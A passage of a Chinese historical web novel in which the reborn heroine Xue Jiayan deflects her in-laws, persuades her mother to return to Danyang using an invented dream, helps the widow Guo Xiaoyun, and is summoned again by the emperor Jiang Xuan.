戚少亭就站在原地,静静看着她的背影,半晌才又坐回床沿。床板微微一沉,他犹豫了片刻,伸出手指,轻轻揉了揉薛嘉言的肩膀,声音压得更低,带着藏不住的急切:“皇上……跟你说什么了吗?” 薛嘉言的嘴角几不可察地扯了一下,差点笑出声来。 戚少亭就这点耐心?不过是第二次入宫,就急着打听升官的事了? 她故意拖着调子,嘟囔道:“没说什么……皇上年轻气盛,一见面就急吼吼的,哪有功夫说话?折腾到天快亮了,怕误了早朝,才让人把我送回来,我累死了……” 她说着说着,声音渐渐低了下去,像是真的困得睡着了。 戚少亭屏住呼吸,探着身子往她脸边凑了凑,只见薛嘉言的睫毛安静地垂着,呼吸也变得平缓,竟是真的睡熟了。 一瞬间,戚少亭的脸色“唰”地沉了下来,脸上青一块红一块,不知是羞是怒。 他死死咬着牙关,腮帮子绷出硬邦邦的线条,双手攥得指节发白。胸腔里的火气往上涌,几乎要冲昏他的理智,若不是还存着最后一丝顾忌,怕真要忍不住抬手去摇醒她。 戚少亭猛地站起身,转身大步走出卧房,往书房的方向去了。 第12章 规矩 薛嘉言这一觉一开始睡得却格外香甜,到了后半段,竟梦见了姜玄。 梦里的他赤着上身,乌黑的长发披散在肩头,沾着些汗湿的水汽,贴在颈侧。 他的胸膛剧烈起伏着,眼神猩红得吓人,一手掐着她的脖子,指节用力得几乎要嵌进她的皮肉里,声嘶力竭地吼着:“你要杀我?!你要杀我?!” 窒息的感觉太过真实,薛嘉言只觉得脖子一阵尖锐的酸痛,连呼吸都变得困难。 她猛地从梦里惊醒,胸口还在剧烈起伏,冷汗浸湿了里衣。她下意识地抬手摸向自己的脖子,指腹触到的皮肤光滑如初,没有半点掐痕,只有喉咙里干得发疼,像是要冒火。 床头柜上放着一杯冷茶,是昨夜剩下的。薛嘉言端起杯子喝了,冰凉的茶水滑过喉咙,带着一股沁人的凉意,才稍稍缓解了喉咙的干涩,也让她混沌的脑子清明了些。 她坐在床上发了会儿怔,前世的姜玄,从来都是冷淡阴鸷的,她于他而言,不过是个用来宣泄欲望的玩物,何曾有过这般失控的模样?更何况他是天子之尊,她怎么敢弑君呢。 想来是昨夜喊得太凶,嗓子不舒服,又渴得厉害,才会做这么个荒唐的梦。 正想着,门外忽然传来棠姐儿奶声奶气的声音,“娘,我要娘……娘在哪儿呀?” 紧接着是司春温柔的哄劝声:“姑娘乖,别闹,大奶奶昨夜累着了,让大奶奶再睡一会儿,咱们等会儿再找娘好不好?” “我醒了。让棠姐儿进来吧。”薛嘉言清了清嗓子,朝着门外应了一声。 门“吱呀”一声被推开,棠姐儿穿着一身粉色的小袄,迈着小短腿跑了进来。她笨拙地蹲下身,脱掉脚上的虎头鞋,然后手脚并用地往床上爬,小短腿扑腾着,滚到薛嘉言怀里,伸手就搂住她的脖子,在她脸上“吧唧”亲了一口,声音软乎乎的:“娘,棠姐儿想你啦!” 薛嘉言的心瞬间被填得满满当当,她伸手紧紧搂住女儿,把脸埋在她柔软的头发里,闻着淡淡的奶香味,亲了亲她的额头,又亲了亲她的小脸蛋,声音里满是笑意:“娘也想棠姐儿了。” “棠姐儿,”薛嘉言摸了摸女儿的小脑袋,柔声问道,“等会儿跟娘去外祖母家好不好?外祖母肯定想棠姐儿了。” 棠姐儿一听,眼睛瞬间亮了起来,小手拍着薛嘉言的肩膀,高兴地直嚷嚷:“好!好!我想外祖母!外祖母做的糕糕最好吃了,棠姐儿要吃两块!” 薛嘉言被女儿的模样逗笑,伸手擦了擦她嘴角的口水,才起身洗漱。 洗漱过后,司春又命人把早饭端了上来。 饭桌上,棠姐儿拿着豆沙包,咬了一口,忽然歪着小脑袋问道:“娘,我们不去祖母那里吃饭吗?从前我们都去祖母那里的。” 薛嘉言握着筷子的手顿了顿,垂下眼睑,掩住眸中冰冷的厌恶。 重生归来,她对戚家人的厌恶早已深入骨髓,连多看一眼都觉得恶心。 一想到前世,栾氏是如何抢走棠姐儿,又害得棠姐儿溺水身亡,她就恨不得冲去找栾氏拼命。 若不是杀人犯法,若不是她还得好好活着护住母亲和棠姐儿,她早在重生回来的第一天,就拿刀子把戚家人全捅了。 她压下心里的戾气,伸手摸了摸棠姐儿肉嘟嘟的小脸蛋,语气尽量温柔:“娘不舒服,若是跟祖母一道用饭,怕把病气过给祖母。祖母年纪大了,身子本就弱,娘是替她考虑呢。” 棠姐儿眨着圆溜溜的大眼睛,有点担忧地问道:“那棠姐儿会被传上病吗?” 薛嘉言看着女儿认真的模样,笑着问道:“那棠姐儿怕吗?” 棠姐儿用力摇摇头,小脸上满是坚定,伸手抱住薛嘉言的胳膊:“不怕!棠姐儿要跟娘在一起,就算不舒服,跟娘在一起就不怕!” 薛嘉言忍不住又亲了亲女儿的额头,眼眶微微发热。这辈子,她说什么也不会再让棠姐儿受半点委屈。 母女俩正吃着饭,门外忽然传来一阵急促的脚步声,像是有人在跑。紧接着,戚倩蓉的大嗓门就传了进来,带着点不耐烦:“嫂子!嫂子!你怎么还不去给娘请安啊!娘都等你好半天了!” 话音刚落,戚倩蓉就风风火火地进来了。 她穿着一身水绿色的衣裙,头上插着三四根金簪,垂下的珍珠穗子因跑动晃个不停。她跑过来堵在门口,刚好挡住天光,把一道长长的影子投在桌上。 棠姐儿素来怕这个小姑姑,见戚倩蓉脸上带着怒容,吓得手里的豆沙包都掉在了桌子上,赶紧躲到薛嘉言怀里,小身子微微发颤。 薛嘉言伸手搂住女儿,轻轻拍着她的背安抚,抬眼看向戚倩蓉时,眼神已经冷了下来,眉头紧紧蹙着,语气严厉:“倩蓉,王嬷嬷不是教过你规矩吗?走路要缓步慢行,进哥嫂的房要先通传,进门要敛声屏气,你这般大呼小叫的,成何体统?” 戚倩蓉刚要张口反驳,话到嘴边又咽了回去。她想起王嬷嬷平日里的教导,又想起哥哥如今是官身,她与云阳伯府的魏世子结识了,日后嫁入伯府,是得按规矩行事。 戚倩蓉悻悻地闭了嘴,顿了顿,把声音放软了些,带着点委屈道:“嫂子,我不是故意的,我是太心急了。娘说你这段日子都没去请安,她每日早起就坐在堂屋里等你,不敢让人来催你,又怕你身子不适,才让我来看看你。” 薛嘉言在心里冷笑一声。栾氏就是这样的人,永远都把自己摆在老好人的位置上,什么得罪人的话,都撺掇着别人去说。不知情的人见了,还真以为她受尽委屈呢。 戚家从前租住在大杂院的时候,栾氏忙于生计,何曾要求过儿女早起请安?如今薛家陪嫁了一处大宅,给了他们锦衣玉食的生活,栾氏倒学着那些富贵人家的做派,日日要儿媳晨起请安、侍奉早饭了。 第13章 隔世再见 “嗯,我的确身子不适。” 薛嘉言端起茶杯,抿了一口茶,语气不咸不淡,“怕过了病气给她老人家,反倒不好。年纪大的人,身子本就弱,经不起折腾,我也是替她考虑。” 戚倩蓉狐疑地打量着薛嘉言,她面色红润,眼神明亮,神采奕奕的,哪里像是生病的人? 她刚想开口质疑,薛嘉言轻咳了两声,坦然迎上她的目光:“我虽面色看着如常,可内里早已亏空。前几日我请了张大夫来诊脉,张大夫说我是产后调理不当,肝气郁结积在脏腑里,面上瞧着不显,实则得好好静养,多休息,不能劳累。这话你哥哥也在场听着,妹妹若是不信,回头去问你哥哥便知。” 薛嘉言如今可不怕戚少亭不顺着她的话说,他不敢,他知道她夜里去做了什么,早上哪里起得来。 “妹妹刚才说母亲每日早起空等?这怎么行!年长之人最忌劳累忧心,若是因为等我伤了身子,我心里如何过意得去?妹妹既常在母亲身边,就该多劝劝她,莫要如此拘礼,保重身体才是第一位的。你快回去告诉母亲,万万不要再等我了,等我身子好些了,自然会去给她请安。” 薛嘉言说着,眉头轻轻蹙起,语气里添了几分真切的担忧。担忧是装的,可落在戚倩蓉眼里,像是真的替栾氏着想。 戚倩蓉见薛嘉言把哥哥都搬了出来,又说得有板有眼,再加上她觉得嫂子一向人那么好,又有规矩,若不是生病了肯定不会这么做。 戚倩蓉心里的疑虑消了大半,连忙点头:“嫂子说的是,我这就回去跟娘说,让她多睡会儿,别再等你了。” 说罢,戚倩蓉又风风火火地转身跑了,急促的脚步声渐渐远去。 薛嘉言看着桌上的早饭,只觉得胃口全无。戚倩蓉这一闹,彻底败了她的兴致。她放下筷子,对司春道:“把东西收拾了吧,我们这就回娘家。” 马车辚辚,行驶在街道上,车厢里铺着厚厚的软垫,坐着并不觉得颠簸。棠姐儿靠在薛嘉言怀里,手里玩着一个布偶兔子,时不时抬头跟薛嘉言说两句话。 薛嘉言搂着女儿,反复告诉自己,等会儿见到娘亲,一定要克制住情绪,不能失态,更不能吓到娘亲。 她重生已经有十来日了,却一直没敢回娘家。不是不想,是太想了,怕自己一见到娘亲,就忍不住把前世的种种苦楚都说出来,怕自己的眼泪止不住,吓到娘亲,也怕娘亲看出她的异常,追问起来她不好解释。 她欠母亲的已经够多了,若不是为了她,母亲不会跟着父亲来京城,还是丹阳吕家掌事的女东家,若不是因为她,母亲也不会郁结于心,郁郁而终。 薛嘉言的父母住在松柏巷的一处五进大宅里,这宅子原是肃国公府的产业,当年她跟着父母回到京城时,肃国公府把这处宅子给了父亲薛千良,她自小就是在这处宅子里长大的。 马车停在宅门前,薛嘉言抱着棠姐儿下了车。 刚走进院门,就见院子里种着的花草都冒出了新芽。初春时节,正是万物复苏的时候,几株迎春花的枝条上已经鼓出了小小的花苞,嫩黄的,再过些日子,怕就要热热闹闹地开起来了。 薛嘉言踩着熟悉的青石板路往里走,眼眶却忍不住发酸。眼泪在眼眶里打转,她使劲眨了眨眼,才把眼泪逼了回去。 正月初二的时候,她还带着戚少亭和棠姐儿回娘家过,那时候的她,还不知道再过十几天,她的人生会发生天翻地覆的变化,还像个没长大的娇娇女,背着人就能在娘亲怀里撒娇。可现在,她早已不是从前那个天真无知的薛嘉言了。 进了内院,不等丫鬟通报,薛嘉言就急急奔到了吕氏的房间。 吕氏正坐在窗边看账本,她听见脚步声,抬头一看,见是薛嘉言抱着棠姐儿来了,脸上立刻绽开笑容,连忙放下账本,起身快步迎了上来:“嘉嘉回来啦!棠姐儿也来啦!” 薛嘉言挥退了跟着的丫鬟和婆子,上前一步,紧紧拉住娘亲的手。 她上上下下仔细打量着吕氏,眼神一眨不眨,她怕自己眨一下眼睛,娘亲就会消失,怕这一切只是一场梦。 娘亲穿着一身酱紫色的襦裙,头发梳得整齐,脸上带着温和的笑意,还是记忆里的模样。 在吕氏看来,不过是二十多日没见女儿,可只有薛嘉言知道,这一面,已经隔了两世,隔了生死。 “娘……”薛嘉言的声音哽咽了,她再也忍不住,伸手抱住娘亲,头埋在她的肩窝里,哭得不能自已。 她的眼泪像断了线的珠子,浸湿了吕氏的衣襟,肩膀剧烈颤抖着,压抑的哭声从喉咙里溢出来,带着无尽的委屈和思念。 一旁的棠姐儿见娘亲哭了,也不知道发生了什么,小嘴一瘪,抱着薛嘉言的腿,跟着哭了起来,奶声奶气的哭声里满是害怕:“娘,你别哭……棠姐儿怕……” 吕氏原本是满心欢喜,见女儿哭得这样伤心,外孙女也跟着哭,心里顿时慌了起来。她伸手拍着薛嘉言的背,柔声哄着:“嘉嘉,怎么了?别哭了,快跟娘说说,是不是在戚家受委屈了?还是子脩欺负你了?” 薛嘉言哭了好一阵子,才渐渐平复下来。她抬起头,用袖子擦了擦眼泪,哑着嗓子道:“娘,我没事……我就是太想你了。昨夜做了一个噩梦,梦见你不见了,我害怕……” 吕氏闻言,这才松了一口气。她拿出帕子,帮薛嘉言擦了擦脸上的泪痕,嗔道:“你呀你,都多大的人了,做个噩梦还能哭成这样子。多大的人了,还跟个孩子似的。” 说着,她又把棠姐儿抱过来,轻轻拍着她的背哄着:“棠姐儿乖,不哭了,外祖母给你拿糖吃好不好?” 棠姐儿抽泣着点点头,小脑袋靠在吕氏怀里,渐渐止住了哭声。 第14章 一笔糊涂账 薛嘉言喝了口娘亲递过来的热茶,喉咙里的干涩缓解了些,也彻底平复了情绪。她看着吕氏,问道:“娘,爹呢?怎么没见着他?” 吕氏无奈地笑了笑,摇了摇头:“还能在哪儿?一大早张老翰林就派人来送信,说是请到了好戏班子,你爹一听,连早饭都没吃几口,就匆匆忙忙跑去听戏了。” 薛嘉言闻言,忍不住叹了一口气。 她重生以来,心里憋着一股劲,恨不得立刻就把戚家人都收拾了,可她从没想过向父亲求助。不是不想,是不能。 父亲薛千良,是肃国公府嫡出的大老爷,可说到底就是个富贵闲人,没什么能耐,也没什么城府,连自己的事情都处理不好,哪里能帮得上她? 更何况,肃国公府不仅不是她的助力,反倒是她前世悲剧的根源之一。若不是因为肃国公府的缘故,她也不会被迫低嫁,最后嫁给戚少亭这只中山狼,落得凄惨下场。 关于父辈的事,是一笔糊涂账,这账要算起来,说来话长。 薛嘉言的父亲薛千良,本是肃国公府的嫡长子。当年老肃国公还在世的时候,对这个长子寄予厚望,一心想让他承袭爵位、光耀门楣。薛千良成亲后不到一年,边境告急,老肃国公便把他派去了边关,让他在战场上历练。 那年大旱,边境的百姓流离失所,鞑靼也趁机犯边。一场血战下来,薛千良所在的军队损失惨重,他本人也失踪在了战场上,活不见人,死不见尸。 战后,肃国公府派了不少人去边境寻找,可找了几个月,连一点线索都没有。 一年后,老肃国公彻底灰心了,只好对外宣布了薛千良的死讯。朝廷念及他战死沙场,还封了他一个“昭勇将军”的名号,以正三品武官的身份修了一个衣冠冢。 可那时候,薛千良根本没死。他被薛嘉言的外祖父吕义德救了。 吕义德是个商人,常年带着商队往返于西北和江南之间,贩卖丝绸和茶叶。 那天,他的商队路过距离边境不远的一片沙地时,发现了奄奄一息的薛千良。 当时的薛千良已经失忆了,什么都不记得,身上只穿着一件单薄的中衣,早已破破烂烂,沾满了沙尘和血迹。 吕义德从他的穿着打扮上,看不出他的身份,觉得他可怜,便动了恻隐之心,把他救上了商队的马车,一路从西北带回了江南的丹阳城。 薛千良性子温文尔雅,长相也俊秀,虽然失忆了,不记得自己的父母和家乡,但从他的言行举止、生活习惯里,能看得出他是个家教良好的人。 薛嘉言的母亲吕玉竹,是吕义德的独生女。老两口原本就打算让女儿招赘一个女婿,将来好继承家业。 后来见女儿和薛千良相处得融洽,两人之间也渐渐生出了情意,便问薛千良愿不愿意入赘吕家。 要知道,一般愿意入赘的男子,要么是家里穷困潦倒,实在走投无路,要么是自身有什么缺陷,娶不到媳妇。像薛千良这样品貌出众、举止文雅的人,若不是失忆了,不知道自己的身份,是绝不可能愿意入赘的。 薛千良想都没想,就一口答应了。就这样,他入赘吕家,成了吕玉竹的丈夫。 第二年,吕玉竹就生下了女儿,取名吕嘉言。一家三口在丹阳过着和乐美满的日子,日子虽不算大富大贵,却也安稳幸福。 后来,薛嘉言的外祖父母相继离世,吕玉竹便接手了家里的生意。 薛嘉言八岁那年,肃国公府不知通过什么线索,找到了丹阳,找到了薛千良,要他认祖归宗。 薛千良一见到肃国公府的人,尘封的记忆瞬间被唤醒。他想起了自己的身份,想起了自己的父母,也想起了自己的责任。 他想要带着吕玉竹和薛嘉言一起回京城,吕玉竹起初是不愿意的。她在丹阳生活了半辈子,早已习惯了那里的日子,也怕去了京城会受委屈。 可薛千良哭得声泪俱下,一遍遍地求她,说自己不能丢下她们母女,也不能不认自己的亲生父母。夫妻俩毕竟在一起快十年了,感情深厚,难以割舍。 最后,吕玉竹还是心软了,她收了丹阳的生意,带着女儿,跟着薛千良一起回到了京城。 吕玉竹心里其实早就有了准备,薛千良出身名门,怎么可能没有妻室?果然,到了京城她才知道,薛千良当年出征前,就已经娶了高氏为妻。 高氏出身名门望族,家世显赫,在薛千良出征后不久,就查出怀了身孕。薛千良失踪的消息传来时,高氏刚刚生下了他的长子薛嘉聿。 回到京城认亲后,高家那边的态度十分坚决。吕玉竹和薛嘉言想要进肃国公府的门,吕玉竹必须做妾,薛嘉言则要被记为庶女。 吕玉竹自幼就是吕家的掌上明珠,当年薛千良入赘,她是家主,怎么可能甘心做妾?她宁愿带着女儿回丹阳,继续过从前的日子,也不愿在肃国公府里受这样的委屈。 薛千良又急又慌,一边是亲生父母和发妻,一边是自己疼爱了十年的妻子和女儿,他左右为难,最后竟闹到了顺天府。 他在顺天府尹面前直言,自己当年失忆,是入赘吕家,与吕玉竹明媒正娶,婚事也在丹阳的官府记了档,是受律法保护的。他情愿改掉薛姓,跟着妻女姓吕,带着她们在外面过活,也不愿委屈了吕玉竹。 肃国公府自然不能答应,嫡长子改成外姓,这要是传出去,肃国公府的颜面何在? 宗人府和礼部的人也轮番来劝解,最后实在没办法,只好折中了一下:薛千良不改姓,依旧是薛家人;吕玉竹也不必做妾,算是薛千良的平妻;但薛嘉言必须改成薛姓,从吕嘉言变成薛嘉言。他们一家三口不能住在肃国公府里,要单独在外生活,吕玉竹对外也可以称“薛太太”。 肃国公府还分给了薛千良一套位于松柏巷的宅院,也就是他们现在住的这处。 第15章 劝母 自此,吕玉竹便带着薛嘉言住在这宅子里,薛千良大部分时间都跟她们母女在一起,只有逢年过节的时候,才会回肃国公府一趟。 虽说官府承认了吕玉竹的平妻身份,可在京城人的眼里,谁不知道吕玉竹出身商贾,又不依附肃国公府过活?所谓的“平妻”,不过是个好听的名头罢了,跟外室也没什么两样。也正因为如此,薛嘉言当年议亲的时候,才格外困难。 她和戚少亭相识,也是一场意外。 那时候,高氏的族人见薛千良待吕玉竹母女极好,心里不满,便故意在大街上为难薛嘉言。就在她孤立无援的时候,戚少亭恰好路过,看不过去,上前仗义执言,帮她解了围。 若不是这个机缘,她也不会认识戚少亭这样一个穷书生。 “娘,”薛嘉言忽然开口,声音有些低沉,“你想回丹阳吗?想回咱们从前住的斜桥街的宅子吗?” 吕氏闻言,愣了一下,随即笑了笑,伸手摸了摸薛嘉言的头发:“你在京城,娘怎么会想回丹阳呢?你和棠姐儿都在这儿,娘哪儿也不去。” 薛嘉言又追问了一句,语气里带着点执拗:“那若是不考虑我,也不考虑棠姐儿,娘自己呢?娘想回丹阳吗?” 吕氏脸上的笑意渐渐淡了下去,眼神里染上一丝惆怅。 她叹了一口气,目光望向窗外,像是在回忆从前的日子:“故土难离啊……丹阳是娘长大的地方,那里有娘的亲人,有娘熟悉的街道和铺子,怎么会不想呢?” 说完这话,她又转过头,看着薛嘉言,语气里带着点苦涩:“算了,都在京城生活十几年了,早就习惯了。你爹也离不得这里,等将来,他若是走在我前面,我便回丹阳去。等我死了,你把我葬在丹阳,葬在你外祖父外祖母身边,好不好?” 吕氏说到最后,声音微微发颤,眼底也泛起了水光。 薛嘉言的心像是被一只无形的手紧紧揪着,疼得她几乎喘不过气来。 她知道,娘亲说这话,是早就想明白了,她死了之后,是不可能跟父亲合葬的。 肃国公府不会同意,高家更不会同意,他们只会把父亲和高氏合葬在一起,而娘亲,不过是个“外室”,连薛家的墓园都进不去。 前世,娘亲去世的时候,父亲哭得像个孩子。他闹着要把娘亲葬在薛家的墓园里,说要跟娘亲合葬。 可肃国公府和高家都态度坚决,说只有嫡妻高氏才有资格跟薛千良合葬,吕玉竹一个平妻,没这个资格。 薛嘉言跟父亲说,可以把娘送回丹阳安葬,可父亲死活不肯,他一定要与吕氏生同寝,死同穴。 薛嘉言记得,当时的父亲像疯了一样,拿着剑在肃国公府的门前嘶吼,说若是不能跟吕玉竹合葬,他宁愿现在就死,跟吕玉竹一起走。 可最后,肃国公府还是没松口,只是让人另外找了一处地方,说是风水宝地,把娘亲埋了进去。 “娘,”薛嘉言紧紧握住娘亲的手,眼神坚定,语气郑重,“京城是爹的故乡,不是你的。若是你想回丹阳,我来想办法!不管用什么办法,我都一定会让你回去!” 吕氏有些诧异,她看着薛嘉言,总觉得女儿今日有些不一样,眼神里多了些她看不懂的坚定和沉重。 她伸手摸了摸薛嘉言的脸,柔声问道:“你这孩子,今日是怎么了?怎么突然说起这话来了?是不是在戚家受了什么委屈,跟娘说实话。 薛嘉言摇了摇头,眼眶微微发红:“娘,我没受委屈,我只是想让你过得舒心一些。你为了我,为了爹,已经委屈自己这么多年了,我不想再让你委屈下去。” 吕氏笑了笑,伸手把薛嘉言搂进怀里,轻轻拍着她的背:“傻孩子,娘不委屈。有你,有棠姐儿,还有你爹在身边,娘就很满足了。娘不想离你们太远,再说了,你又不是不知道你爹,他看着大大咧咧的,其实最离不开我了。若是我回了丹阳,他一个人在京城,指不定会把自己照顾成什么样呢。” 薛嘉言靠在娘亲的怀里,眼泪终于忍不住落了下来。 她知道,娘亲是在安慰她——娘亲思念故土,前世为了她和父亲,一直勉强自己留在京城,最后郁郁而终。这一世,她无论如何也不能让娘亲再走前世的老路,不能再让娘亲只为了别人活着。 只是,关于父亲的那个秘密,她今日还不能说。 她没有任何证据,若是贸然说出来,娘亲怕是很难相信,甚至会以为她是受了刺激,胡思乱想。她只能徐徐图之,先让娘亲自己发现一些蛛丝马迹,等她把证据摆在娘亲面前的时候,娘亲才能更容易接受这个事实。 薛嘉言铁了心要把戚家人弄死,她与皇帝之间的关系断不了,早晚会闹出来,到时候娘肯定又要为她担心,被人侮辱,她不能让娘亲留在京城。 薛嘉言想了想,想到了一个借口。 “娘,昨夜我做了一个梦,外祖父哭着跟我说,他的坟漏了,不停往里灌水,他和外祖母都不得安宁。娘,你离开丹阳已经十几年了,也该回去祭拜外祖父和外祖母,顺便把坟修一修了。” 吕氏听到薛嘉言的话,大吃一惊,瞪大眼睛问:“当真?你外祖父真给你托梦了?” 薛嘉言点点头,肯定道:“是的,外祖父浑身的衣裳都是湿的。” 吕氏跟着薛千良进京,将父母的墓地交给吕氏族人打理,留了不少银钱。可十几年过去,难保那些人疏忽。 她眼睛含泪,哽咽道:“是我不孝,爹生我的气,竟不肯托梦给我,呜呜……” 薛嘉言看娘亲哭得伤心,有些内疚,但眼下为了诓娘亲离京,只能硬下心肠坚持外祖父托梦的说法。 吕氏哭了一会,擦擦眼泪道:“你说得对,我也该回去看看了。如今你已经嫁人,戚家虽穷些,好在人口简单,子脩脾气又好,如今也做了官,娘离开你一阵子,也没什么好担心的。” 薛嘉言松了一口气,与母亲细细商议了一下回乡的事情,又在娘家陪着母亲用完午膳,这才出了门。 第16章 帮助 出了娘家门,薛嘉言想起郭晓芸,命司春去买了一只烤鸭,马车又往槐花巷去了。 到了郭晓芸住的院子,司春叩响门环,过了好一会荷花才跑过来开了门,她瞧见司春手里的油纸包,笑得见牙不见眼。 正月底,一整日的大太阳晒着,午后的小院里暖意融融,郭晓芸本在屋里忙着,听说薛嘉言来了,忙放下活计迎了出来。 薛嘉言看到郭晓芸身上沾了不少散碎线头,问道:“郭姐姐是在裁衣吗?” 郭晓芸点点头,有些不好意思地说道:“在家闲着也是闲着,接了些活计来做。” 两人进了屋,郭晓芸让荷花去烧水沏茶,薛嘉言则让司春把烤鸭送到厨房去,留着郭晓芸晚上吃。 郭晓芸笑道:“还是你们夫妻心有灵犀,竟都带了烤鸭给我,中午戚大人也过来了,我同他说了,往后请薛妹妹来看看我就行了。若是薛妹妹忙,等孝期满了,我上门去拜访。如今我也找了些活计,饿不死,请他不必忧心了。说起来也是戚大人仁义,与我家夫君不过同窗三载,倒是一直惦念着……” 薛嘉言心中冷笑,戚少亭可真是“热心”啊,中午休息时还要打马过来一趟,顺天府衙门离槐花胡同可不近啊。 郭晓芸一边絮絮叨叨说着,一边觑着薛嘉言的脸色,见她神色如常,这才稍稍松了口气。 薛嘉言知道,郭晓芸是个寡言的性子,一下子说这么多话,想必也是瞧出来戚少亭的心思,她不好戳破,又怕薛嘉言误会,这才说了这么多。 薛嘉言自是不会怪郭晓芸,郭晓芸能说出这番话,想必已是在心中纠葛了许久。她虽是个柔弱性子,但前世若不是戚少亭找了地痞夜里来骚扰恐吓她,想必她也不会答应进戚家做妾。 “郭姐姐说的是,回去我会同他说的。你这活计可好做?工钱多少,说来我听听。”薛嘉言笑着问道。 郭晓芸见薛嘉言听了刚刚那番话,并没有生气,悄悄松了一口气,她将自己接的这批活跟薛嘉言说了一下。 薛嘉言想了想道:“这个价格有些低了,想必不是成衣铺子直接找的你,中人抽成抽得太高了。你做完这批活就别接了,我在城南也有间成衣铺子,回头我让掌柜来找你。” 郭晓芸一听喜出望外,感激道:“薛妹妹,真是不知该怎么谢你了。” 薛嘉言道:“这算什么,我那铺子本也要找人做活的。” 郭晓芸却不知,薛嘉言那间铺子距离槐花胡同挺远的,她那边本就有相熟的绣娘,若不是为了让郭晓芸有个营生,掌柜的是不肯跑那么远找人做活的。 薛嘉言想到前世戚少亭的龌龊心思,沉思了一下道:“郭姐姐,徐大哥如今不在了,你家里只有荷花一个小丫头,到底不稳妥。你若愿意,我找人来与你作伴,是母女俩,母亲三十出头,女儿十三了,原是威武镖局镖师的家眷,都有些功夫,若遇到登徒子,还可抵挡一二。” 薛嘉言说的这母女俩,母亲叫曾桂香,女儿叫何子蕙。曾桂香丧夫后,靠替人浆洗过活。有一回薛嘉言的娘亲外出,遇到疯狗袭击,曾桂香拿了一根木棒上前救人,吕氏谢过之后,见她身手矫健,便留在薛家做护卫。 吕氏本就有三五个有功夫的女护卫,并不需要曾桂香,她不过是换了一种曾桂香能接受的报恩方式罢了。 曾桂香整日待在薛家也无事,请她过来护卫郭晓芸一阵子,对她来说也是松松筋骨。况且,应该用不了多久,她便能让苗菁找到郭晓芸了。 郭晓芸没想到薛嘉言为她想得这么周到,红了眼圈,握着薛嘉言的手,哽咽着道:“薛妹妹,我真不知该如何谢你了。” 薛嘉言因身份原因,在京城并没有什么朋友,前世也是郭晓芸进了戚家之后,她才多了这一个朋友。再世为人,她虽抱着挟恩图报的心理,可对于郭晓芸,多少也是有些真情在的。 “郭姐姐别这么说,你我相识一场,便是缘分。” 郭晓芸擦了擦眼泪,有些不好意思道:“我如今也没什么能些薛妹妹的,唯有一手针线活还过得去,薛妹妹若是看得上,我给你做一身衣裳吧。” 薛嘉言等的就是她这句话,她忙道:“不必。做衣裳太费神了,郭姐姐若有空,帮我做条帕子吧。我之前看姐姐的帕子绣活精致,早就眼馋了呢。” 郭晓芸道:“是水影绣的那条?” 薛嘉言点头:“正是。” 原来,郭晓芸自小喜欢琢磨刺绣,她独创了一种绣法,多以水生花卉和禽类为主,绣的是它们落在水面的倒影,波光粼粼中自有一种朦胧之美。 薛嘉言眼睛一亮,“正是。我见姐姐那条帕子是荷花倒映在水面,煞是好看。” 郭晓芸道:“这不难,我给妹妹绣一个白鹭孤影,这图案我很少绣,意境最是优美。” 薛嘉言道了谢,与郭晓芸又说了一会话,这才告辞离家。 日暮时分,紫宸殿,几位老臣刚刚离去,姜玄抬手按了按太阳穴,额角的青筋突突直跳,他喝了一口茶,有些疲惫地靠在椅背上,喊了一声:“张鸿宝。” 张鸿宝忙进来问道:“皇上,可是头又疼了?” 姜玄嗯了一声,张鸿宝忙走到他身后,替他按摩。 姜玄闭着眼,靠在龙椅上,紧绷的肩线渐渐放松。起初脑子里还盘旋着繁杂的政事,可随着张鸿宝指尖的力道缓缓渗入,他的头疼之症缓解,思绪竟渐渐飘远。 不知怎的,他又想起了薛嘉言。 “忽见陌头杨柳色,悔教夫婿觅封侯。” 姜玄又想起那夜薛嘉言念这句诗时的语气,似乎有些怅然。 他暗暗咬了咬牙,怅然什么呢?那么个平凡的男人,她竟视为珍宝,宁愿他不要高升,也要日日在家陪伴左右。 姜玄心中气闷,眉心蹙起,冷哼了一声。 张鸿宝连忙放轻动作:“陛下,老奴力道重了?” 姜玄并没有回答,顿了一会,低声道:“晚上去把她接过来。” 张鸿宝眼底飞快地掠过一丝犹豫,薛嘉言上次入宫侍寝后,距今不过才三日,陛下又要接她来这般频繁,他虽竭力隐藏住行踪,也难免会露出行迹。 张鸿宝张了张嘴,想劝一句“陛下,您召见薛氏太过频繁,恐引人非议”,可抬眼瞥见皇帝下垂的唇角,话到嘴边又咽了回去,恭敬地应道:“奴才遵旨。老奴这就去安排。” 第17章 请选秀 夜色已深,长宜宫寝殿的烛火被调得极暗,只留两盏银台烛在角落燃着,殿内虽烧着炭火,但因只有姜玄一人独坐,反倒显出几分孤寂。 薛嘉言刚被宫人引进来时,身上还带着殿外的寒气。 姜玄已卸了朝服,只着一身轻薄的月白常服,斜倚在铺着云锦软垫的榻上,见她进来,便朝她伸出手:“过来。” 薛嘉言垂着眼走过去,他把她拉到怀里。她的手掌触碰到他单薄衣裳下的胸膛,结实而滚烫。 薛嘉言扭动了一下道:“皇上,臣妇刚从外面进来,身上凉……” 姜玄不容她挣脱,将她牢牢抱在怀里,哑声道:“无碍。” 他想与她说说话,可不知说些什么,她身上的香气又让他沉醉。他想起那两晚的缠绵,心底的期待尽数翻涌上来,有些克制不住,低头便覆上她的唇。 …… 寝殿角落的妆台上,放着一面菱花镜,是上次薛嘉言过来时,张鸿宝让人拿来供她梳洗的。 此刻镜面恰好对着榻边,姜玄偏过头时,目光无意间扫过,镜中映出薛嘉言别过去的侧脸,她微眯着双眼,贝齿紧咬着下唇,鬓边的碎发被汗湿,贴在泛红的耳廓上,脸颊竟像被染透的红玫瑰,从下颌一直红到耳尖。 姜玄的心跳猛地加快,原本带着克制的动作骤然失控。他扣着她腰的手紧了紧,另一只手轻轻抚上她泛红的脸颊,指腹触到一片滚热。 他不时转过脸去看窥镜中春色,她那般鲜活的、带着羞赧的神态,让他血脉更加偾张。 薛嘉言被他突如其来的力道惊得一颤,手掌下意识抓紧了他的腿。 …… 烛火摇曳,薛嘉言只觉得自己的神魂都被摇散了,好一会才缓过劲来。 她坐起身正要穿衣裳,忽瞧见姜玄腿侧两道红痕,猛地记起自己似乎抓紧过他的腿,难道是她弄出来的? “皇上,对……对不起……” 薛嘉言有些羞赧,喃喃说了一句。 姜玄瞥了一眼自己的大腿,轻笑一声,低声道:“无碍。” 耳边传来薛嘉言穿衣窸窣的响动,姜玄支着手臂仍旧侧卧着看她。他看着薛嘉言,目光里还带着几分未散的缱绻,嘴角噙着丝浅淡的笑意,轻声问道:“你想要什么?” 